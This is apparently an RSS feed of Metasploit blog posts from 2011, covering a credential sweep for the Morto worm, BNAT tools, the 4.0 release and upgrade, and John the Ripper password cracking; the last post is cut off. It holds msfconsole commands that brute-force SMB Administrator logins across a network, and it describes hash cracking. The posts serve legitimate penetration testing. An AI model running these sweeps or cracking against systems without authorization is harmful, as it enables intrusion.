<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:clearspace="http://www.jivesoftware.com/xmlns/clearspace/rss" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title>Metasploit</title>
    <link>https://community.rapid7.com/community/metasploit/blog</link>
    <description>Using the Metasploit Framework, Metasploit Express, or Metasploit Pro? Learn more about the product and interact with the community here</description>
    <pubDate>Mon, 29 Aug 2011 08:04:30 GMT</pubDate>
    <generator>Jive SBS 4.5.5.0  (http://jivesoftware.com/products/clearspace/)</generator>
    <dc:date>2011-08-29T08:04:30Z</dc:date>
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/metasploit/blog" /><feedburner:info uri="metasploit/blog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
      <title>Morto: Another reason to secure local user accounts</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/OXoUnRK-wcQ/morto-another-reason-to-secure-local-user-accounts</link>
      <description>&lt;!-- [DocumentBodyStart:92895cd7-eb2b-4270-90d2-9c661a4c7ebe] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;A worm abusing the Remote Desktop service is making the rounds, currently named &lt;a class="jive-link-external-small" href="http://www.f-secure.com/weblog/archives/00002227.html"&gt;Morto&lt;/a&gt;. This worm gains access by trying a small number of weak passwords for the local Administrator account. After compromising the server, the worm propogates using mapped shares and provides remote access to the worm's creator. Most public reports involve Morto gaining access to internet-facing servers, however it is likely that once Morto is behind a firewall, it can propogate to other local systems. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Fortunately, Metasploit (Framework, Express, and Pro) provide an easy way to test for weak passwords on the local Administrator account. The Metasploit Framework provides the &lt;strong&gt;smb_login&lt;/strong&gt; module, which accepts a &lt;strong&gt;USERPASS_FILE&lt;/strong&gt; option for accounts to test. This module can be used to quickly sweep your network for machines that Morto can gain access to. The usage for the Metasploit Framework is below.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;First grab a copy of the USERPASS_FILE that corresponds to the username and password combinations that Morto tries. This is a simple text file containing the username followed by a space and then the password, one per line. You can download a copy of this file from &lt;a class="jive-link-external-small" href="http://digitaloffense.net/tools/morto.txt"&gt;HERE&lt;/a&gt; (save it to disk).&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Now that the file has been saved to disk, start your copy of the Metasploit Framework, preferably via the Metasploit Console (msfconsole).&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;$ msfconsole&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Once the console has loaded, select the &lt;strong&gt;smb_login &lt;/strong&gt;module and configure the &lt;strong&gt;USERPASS_FILE&lt;/strong&gt; option.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;msf &amp;gt; &lt;strong&gt;use auxiliary/scanner/smb/smb_login&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;msf auxiliary(smb_login) &amp;gt; &lt;strong&gt;set USERPASS_FILE /tmp/morto.txt&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Now set the target range (RHOSTS) and increase the thread count (THREADS) to make things run smoothly. Disabling verbose output also makes the resulting output much more readable.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;msf auxiliary(smb_login) &amp;gt; &lt;strong&gt;set &lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: courier new,courier;"&gt;&lt;strong&gt;RHOSTS 192.168.0.0/24&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;msf auxiliary(smb_login) &amp;gt; &lt;strong&gt;set THREADS 128&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;msf auxiliary(smb_login) &amp;gt; &lt;strong&gt;set VERBOSE false&lt;br/&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;&lt;strong&gt;&lt;br/&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Finally, let this module run and watch the output for successful logins. Any machine found vulnerable that has Remote Desktop exposed could become easy prey for this worm. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;msf auxiliary(smb_login) &amp;gt; &lt;strong&gt;run&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;[*] Scanned 026 of 256 hosts (010% complete)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+] 192.168.0.141:445|WORKGROUP - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 'admin'&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;[*] Scanned 125 of 256 hosts (048% complete)&lt;/p&gt;&lt;p&gt;[*] Scanned 127 of 256 hosts (049% complete)&lt;/p&gt;&lt;p&gt;[*] Scanned 142 of 256 hosts (055% complete)&lt;/p&gt;&lt;p&gt;[*] Scanned 157 of 256 hosts (061% complete)&lt;/p&gt;&lt;p&gt;[*] Scanned 256 of 256 hosts (100% complete)&lt;/p&gt;&lt;p&gt;[*] Auxiliary module execution completed&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt;Metasploit Express and Metasploit Pro users can do the exact same thing via the Modules tab or via the Metasploit Pro Console. There is an easier way, however, especially if you already have an active project. Login to the user interface, select a project containing recent scan data, choose &lt;strong&gt;Bruteforce&lt;/strong&gt;, check only the SMB protocol, and select "Known only" as the depth. Expand the Advanced Options screen and paste the contents of the &lt;strong&gt;morto.txt&lt;/strong&gt; file into the Additional Credentials field, then click Launch Bruteforce. Not only will this identify vulnerable systems, but it will return sessions on each system.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt;-HD&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family: courier new,courier;"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:92895cd7-eb2b-4270-90d2-9c661a4c7ebe] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/OXoUnRK-wcQ" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 29 Aug 2011 07:53:12 GMT</pubDate>
      <author>hdm@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/08/29/morto-another-reason-to-secure-local-user-accounts</guid>
      <dc:date>2011-08-29T07:53:12Z</dc:date>
      <clearspace:dateToText>1 week, 1 day ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/morto-another-reason-to-secure-local-user-accounts</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5424</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/08/29/morto-another-reason-to-secure-local-user-accounts</feedburner:origLink></item>
    <item>
      <title>A Tale From Defcon and the Fun of BNAT</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/L2oepoifubE/a-tale-from-defcon-and-the-fun-of-bnat</link>
      <description>&lt;!-- [DocumentBodyStart:4df2799f-d7fb-42c3-9b08-e0f60190fe86] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p class="p1"&gt;An interesting thing happened to me this year while at Defcon 19. I was in the shwag line waiting for some friends to pick out some items for their order when all of a sudden I saw a rather familiar face. At first I had no idea who he was but we both just looked at each other for a second and finally he came up to me and said "You look very familiar do I know you?". After talking for a minute I realized this was one of my friends from back home in Upstate NY, Jonathan Claudius. I actually used to ride the school bus with him and he lived about half a mile away from my house. I lived in a small town so this chance encounter was pretty mind blowing. In fact the population of the area I grew up in was roughly 12,000 according to a survey in 2009. Pretty small compared to the nearest city which had a population of 200,000 according to the same survey in 2009.&lt;/p&gt;&lt;p class="p2" style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p class="p1"&gt;What does all this have to do with Metasploit? Well Jonathan was giving a Skytalk at Defcon and wanted me to come see his presentation. I made sure I went to the talk to see what he had been up to. It turns out his talk really impressed me. He had come up with a way of dealing with broken NAT implementations which will sometimes reply to a request with a different IP address rather than the original destination IP. This causes the communication channel to be dropped because the client does not expect this reply to come from another IP address and just sends a RST(reset) packet to the host that replied.&lt;/p&gt;&lt;p class="p2" style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p class="p1"&gt;When you run into one of these broken implementations nmap will usually show the port your trying to reach as "filtered". Most people simply think this means the port is firewalled off and unreachable. But Jonathan, came up with a set of tools which can detect BNAT(broken NAT) implementations, and repair the communications. The tools basically listen for replies to the initial request made to detect if another IP address replies. Fixing up the communication is the next step, he wrote a tool which will fix up the source IP address of the incoming replies so that the client can handle the communications as normal.&lt;/p&gt;&lt;p class="p2" style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p class="p1"&gt;Originally, the BNAT tools were written in ruby and using todb's PacketFu. The tools were standalone and sitting in a GIT repository. When I saw Jonathan's talk I asked him why not make the tools into modules for Metasploit. We already include the needed library, PacketFu, so porting the tools over was just a matter of cleaning up the code a little and throwing it into a module template. Jonathan wanted to port the tools over but he had never developed for Metasploit before so he needed some help. So, one night I called him up on the phone and we worked on porting the tools over for a few hours. A few days later the tools were in the Metasploit SVN repository ready for use by everyone!&lt;/p&gt;&lt;p class="p1" style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p class="p1"&gt;The following video demos the tools and shows how a "filtered" port might actually lead to gaining access to a network:&lt;/p&gt;&lt;p class="p2"&gt;&lt;object height="350" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/FS_cg1PVhkI"/&gt;&lt;param name="wmode" value="transparent"/&gt;&lt;embed height="350" src="http://www.youtube.com/v/FS_cg1PVhkI" type="application/x-shockwave-flash" width="425" wmode="transparent"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;p class="p2" style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p class="p2"&gt;Hopefully, after seeing the demo you can see the full potential these modules might bring to external pentests. We started out with a nmap scan which just showed the port as "filtered" and we managed to fix up the communication channel, and finally exploit a vulnerability. The purpose of this demo was to show that in networking, sometimes things are not always as they seem. A filtered/closed port can sometimes be really be open you just need to know how to communicate with it.&lt;/p&gt;&lt;p class="p2" style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p class="p1"&gt;There are however, some caveats you need to consider when performing BNAT scanning and hijacking that make it a little harder than your normal everyday symmetric TCP communication exploit. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;You need IPTables or a host-based firewall to selectively suppress reset packets or your BNAT sessions can be prematurely reset.&amp;#160; In IPTables it can be done as follows as a preliminary setup on the Router host.&lt;ul&gt;&lt;li&gt; iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP&amp;#160; &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;In order to perform scanning activities over the public Internet, you need to be bridged to the Internet and not behind any firewall/nat service that would enforce state or you will not even notice when you trigger BNAT because that service will prevent us from completing the session. &lt;/li&gt;&lt;/ol&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;As always, if your interested in this and want to discuss it further you can reach us on irc.freenode.org #metasploit or follow us on twitter &lt;a class="jive-link-external-small" href="http://twitter.com/#!/claudijd"&gt;@claudijd&lt;/a&gt; and &lt;a class="jive-link-external-small" href="http://twitter.com/#!/msfbannedit"&gt;@msfbannedit&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:4df2799f-d7fb-42c3-9b08-e0f60190fe86] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/L2oepoifubE" height="1" width="1"/&gt;</description>
      <pubDate>Fri, 26 Aug 2011 20:10:45 GMT</pubDate>
      <author>bannedit@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/08/26/a-tale-from-defcon-and-the-fun-of-bnat</guid>
      <dc:date>2011-08-26T20:10:45Z</dc:date>
      <clearspace:dateToText>1 week, 3 days ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/a-tale-from-defcon-and-the-fun-of-bnat</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5423</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/08/26/a-tale-from-defcon-and-the-fun-of-bnat</feedburner:origLink></item>
    <item>
      <title>How to update to Metasploit 4.0</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/A20B5OYV8bk/metasploit-40-available-for-download</link>
      <description>&lt;!-- [DocumentBodyStart:101ef79c-6832-492c-9f79-4ebff5d65210] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;If you're packing to go to Black Hat, Defcon or Security B-Sides in Las Vegas, make sure you also download Metasploit 4.0 to entertain you on the plane ride. If you missed the recent announcement, check out &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/07/26/metasploit-pro-40-brings-greater-enterprise-integration-cloud-deployment-options-and-penetration-testing-automation"&gt;this blog post&lt;/a&gt; for a list of new features. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The new version is now available for all editions, and here's how you upgrade: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Metasploit Pro and Metasploit Express 4.0: &lt;/strong&gt;For fresh installs, download version 4.0 of &lt;a class="jive-link-external-small" href="http://www.rapid7.com/downloads/metasploit-pro.jsp"&gt;Metasploit Pro&lt;/a&gt; or &lt;a class="jive-link-external-small" href="http://www.rapid7.com/downloads/metasploit-express.jsp"&gt;Metasploit Express&lt;/a&gt; and install (to try these versions, use the same links). If you already have Metasploit Pro or Metasploit Express installed, simply go to the menu item "Administration" and choose "Software Update".&lt;br/&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5411-1386/Metasploit_Pro_Upgrade.png"&gt;&lt;img alt="Metasploit_Pro_Upgrade.png" class="jive-image" height="45" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5411-1386/310-45/Metasploit_Pro_Upgrade.png" width="310"/&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Metasploit Framework 4.0:&lt;/strong&gt; For fresh installs, download version 4.0 of &lt;a class="jive-link-external-small" href="http://www.metasploit.com/download/"&gt;Metasploit Framework&lt;/a&gt; and install. If you already have Metasploit Framework installed, you can use the SVN update function to upgrade to version 4.0. If you selected the automatic update during the installation of 3.7.2, youre installation should already be ready to go. If not, you can use the following steps to update:&lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="padding-left: 60px;"&gt;$ sudo bash&lt;/p&gt;&lt;p style="padding-left: 60px;"&gt;# cd /opt/framework-3.x.x/msf3/&lt;/p&gt;&lt;p style="padding-left: 60px;"&gt;# svn update&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span&gt;In case you get stuck or have any questions, make sure you visit the &lt;a class="jive-link-external-small" href="http://community.rapid7.com"&gt;Rapid7 Community&lt;/a&gt; to find answers, tips &amp;amp; tricks. Alternatively, just drop by our Black Hat booth #109 and ask us directly!&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.rapid7.com/downloads/metasploit-pro.jsp"&gt;&lt;img alt="Try_Metasploit_Pro.png" class="jive-image" height="28" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5411-1387/310-28/Try_Metasploit_Pro.png" width="310"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:101ef79c-6832-492c-9f79-4ebff5d65210] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/A20B5OYV8bk" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-express</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-pro</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">penetration-testing</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-framework</category>
      <pubDate>Mon, 01 Aug 2011 19:06:49 GMT</pubDate>
      <author>christian_kirsch@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/08/01/metasploit-40-available-for-download</guid>
      <dc:date>2011-08-01T19:06:49Z</dc:date>
      <clearspace:dateToText>1 month, 5 days ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/metasploit-40-available-for-download</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5411</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/08/01/metasploit-40-available-for-download</feedburner:origLink></item>
    <item>
      <title>Metasploit Framework 4.0 Released!</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/F9gFsUdUN_o/metasploit-40-released</link>
      <description>&lt;!-- [DocumentBodyStart:8f9b960c-8621-44a5-ba60-bae3a0edc87d] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;﻿&lt;/p&gt;&lt;p&gt;It's been a long road to 4.0. The first 3.0 release was almost 5 years ago and the first release under the Rapid7 banner was almost 2 years ago. Since then, Metasploit has really spread its wings. When 3.0 was released, it was under a EULA-like license with specific restrictions against using it in commercial products. Over time, the reasons for that decision became less important and the need for more flexibility came to the fore; in 2008, we released Metasploit 3.2 under a 3-clause BSD license. Licensing is definitely not the only place Metasploit's fexibility has increased. Over the last 5 years, we've added support for myriad exploitation techniques, network protocols, automation capabilities, and even user interfaces. The venerable msfweb is gone along with the old gtk-based msfgui. Taking their place are the newer java-based msfgui and armitage, both of which have improved by leaps and bounds since their respective introductions.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Five years ago, every exploitation tool out there was focused on running an exploit and getting a shell (usually a crappy cmd.exe shell, at that). Today, Metasploit encompasses every aspect of a penetration test. Dozens of auxiliary modules assist with reconnaisance, more than two hundred others help with information gathering and discovery; hundreds of exploits get you a toe-hold on the network; and the newest addition to the module family, post modules, help simplify and automate increasing your access. All of the data you gather can be &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/07/22/metasploit-40-the-database-as-a-core-feature"&gt;stored in a database&lt;/a&gt;. For high-quality reporting and even greater automation, Metasploit Pro rounds out an engagement. Five years ago, Metasploit had already come a long way in making exploit development easier but the widespread adoption of DEP and ASLR has pushed the project even further toward accelerating what has now become a much more difficult process.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;All of that leads us to the Metasploit Framework version 4.0, released today.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;To make the awesomeness of 4.0 stand out visually from its predecessors, we've built an array of stunning &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/07/25/ascii-artists-of-the-world-unite"&gt;new ASCII art banners&lt;/a&gt;. My favorite, of course, is this one: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5410-1390/i-heart-shells.png"&gt;&lt;img alt="i-heart-shells.png" class="jive-image-thumbnail jive-image" height="177" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5410-1390/450-177/i-heart-shells.png" width="450"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;In addition to the visual differences, Metasploit Framework 4.0 comes with an abundance of new features and bug fixes. Contributor TheLightCosine continues with his onslaught of password-stealing post modules and another contributor, Silent Dream, has begun helping out in that arena as well. Other post modules have seen considerable improvement and expansion thanks to Carlos Perez. The recent &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/07/21/draft-metasploit-bounty-the-end"&gt;Exploit Bounty&lt;/a&gt; netted a total of six new exploit modules, and other development added another 14 since the last release. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Adding to Metasploit's extensive payload support, Windows and Java Meterpreter now both support staging over http and Windows can use https. In a similar vein, POSIX Meterpreter is seeing some new development again. The last developer left it with little documentation on how to build it, so getting it to compile was a hurdle that we put off for too long. Now that it compiles, you can expect a more flexible payload for Linux. It still isn't perfect nor is it nearly as complete as the windows version, but many features already work.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Another flexibility improvement comes in the form of a consolidated pcap interface. The pcaprub extension ships with the Linux installers as of this release and support for Windows will come soon. Modules that used Racket for generating raw packets have been converted to Packetfu, which provides a smoother API for modules to capture and inject packets. &lt;span&gt;As always, you can get the latest version from &lt;/span&gt;&lt;a class="jive-link-external-small" href="http://www.metasploit.com/download/"&gt;http://www.metasploit.com/download/&lt;/a&gt;&lt;span&gt; and full details of this release can be found in the &lt;/span&gt;&lt;a class="jive-link-external-small" href="https://www.metasploit.com/redmine/projects/framework/wiki/Release_Notes_400"&gt;Release Notes&lt;/a&gt;.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Everyone on the Metasploit team is proud of the first major version bump in half a decade. May it bring you many shells. &lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:8f9b960c-8621-44a5-ba60-bae3a0edc87d] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/F9gFsUdUN_o" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">release</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-framework</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">4.0</category>
      <pubDate>Mon, 01 Aug 2011 14:48:48 GMT</pubDate>
      <author>egypt@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/08/01/metasploit-40-released</guid>
      <dc:date>2011-08-01T14:48:48Z</dc:date>
      <clearspace:dateToText>1 month, 6 days ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/metasploit-40-released</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5410</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/08/01/metasploit-40-released</feedburner:origLink></item>
    <item>
      <title>Password Cracking in Metasploit with John the Ripper</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/WbCDCKOgyI0/password-cracking-in-metasploit-with-john-the-ripper</link>
      <description>&lt;!-- [DocumentBodyStart:518ff722-7a69-4bad-a55a-da4d97fd466e] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;HDM recently added password cracking functionality to Metasploit through the &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13135"&gt;inclusion of John-the-Ripper in the Framework&lt;/a&gt;. The '&lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/analyze/jtr_crack_fast.rb"&gt;auxiliary/analyze/jtr_crack_fast&lt;/a&gt;' module was created to facilitate JtR's usage in Framework and directly into Express/Pro's automated collection routine. The module works against known Windows hashes (NTLM and LANMAN). It uses hashes in the database as input, so make sure you've run hashdump with a database connected to your Framework instance (Pro does this automatically) before running the module. The module collects the hashes in the database and passes them to the john binaries that are now (&lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13135"&gt;r13135&lt;/a&gt;) included in Framework via a generated PWDUMP-format file.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Several JtR modes are utilized for quick and targeted cracking. First, wordlist mode: The generated wordlist consists of the &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/changes/data/john/wordlists/password.lst"&gt;standard john wordlist&lt;/a&gt; with known usernames, passwords, and hostnames appended. A ruleset based on the &lt;a class="jive-link-external-small" href="http://contest-2010.korelogic.com/rules.html"&gt;Korelogic mutation rules&lt;/a&gt; is then used to generate mutations of these words. You can find the msf version of these rules &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/data/john/confs/john.conf"&gt;here&lt;/a&gt;. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Once the initial wordlist bruting is complete, incremental bruting rules, aptly named All4 &amp;amp; Digits5, are used to brute force additional combinations. These rulesets are shown below and can be found in the &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/data/john/confs/john.conf"&gt;same john.conf configuration file&lt;/a&gt; in the Framework.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Cracked values are appended to the wordlist as they're found. This is beneficial : &lt;/p&gt;&lt;ol style="margin-left: 0pt; padding-left: 30px; list-style-type: decimal;"&gt;&lt;li&gt;Previously-cracked hashes are pulled from the john.pot at the start of a run and these passwords are used as seed values for subsequent runs.&lt;/li&gt;&lt;li&gt;Mutation rules are applied to cracked passwords, possibly enabling other previously-uncracked hashes to be broken. &lt;/li&gt;&lt;/ol&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Finally, discovered username/password combinations are reported to the database and associated with the host / service.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cracking modes:&lt;/strong&gt;&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;--wordlist=&amp;lt;ourgenerated wordlist&amp;gt; --rules single --format=lm&lt;/p&gt;&lt;p style="padding-left: 